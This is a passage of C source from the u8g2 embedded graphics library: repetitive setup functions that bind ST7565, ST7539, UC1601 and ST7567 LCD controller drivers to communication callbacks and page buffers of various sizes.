u8g2_Setup_st7565_erc12864_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864_alt, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_nhd_c12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 f */\nvoid u8g2_Setup_st7565_ea_dogm128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lm6063_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6063, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_64128n_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_64128n, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_zolen_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_zolen_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lm6059_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6059, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_ks0713_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ks0713, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_erc12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_erc12864_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864_alt, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_nhd_c12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 */\n/* st7565 1 */\nvoid u8g2_Setup_st7565_nhd_c12832_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12832, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 2 */\nvoid u8g2_Setup_st7565_nhd_c12832_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12832, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 f */\nvoid u8g2_Setup_st7565_nhd_c12832_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12832, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7539 */\n/* st7539 1 */\nvoid u8g2_Setup_st7539_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7539 2 */\nvoid u8g2_Setup_st7539_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7539 f */\nvoid u8g2_Setup_st7539_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7539 */\n/* st7539 1 */\nvoid u8g2_Setup_st7539_i2c_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7539 2 */\nvoid u8g2_Setup_st7539_i2c_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7539 f */\nvoid u8g2_Setup_st7539_i2c_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 */\n/* uc1601 1 */\nvoid u8g2_Setup_uc1601_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 2 */\nvoid u8g2_Setup_uc1601_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 f */\nvoid u8g2_Setup_uc1601_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 */\n/* uc1601 1 */\nvoid u8g2_Setup_uc1601_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 2 */\nvoid u8g2_Setup_uc1601_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 f */\nvoid u8g2_Setup_uc1601_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 */\n/* uc1601 1 */\nvoid u8g2_Setup_uc1601_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 2 */\nvoid u8g2_Setup_uc1601_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 f */\nvoid u8g2_Setup_uc1601_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 */\n/* uc1601 1 */\nvoid u8g2_Setup_uc1601_i2c_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 2 */\nvoid u8g2_Setup_uc1601_i2c_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1601 f */\nvoid u8g2_Setup_uc1601_i2c_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 */\n/* st7565 1 */\nvoid u8g2_Setup_st7565_ea_dogm132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm132, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 2 */\nvoid u8g2_Setup_st7565_ea_dogm132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm132, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 f */\nvoid u8g2_Setup_st7565_ea_dogm132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm132, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_i2c_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_i2c_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_i2c_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, 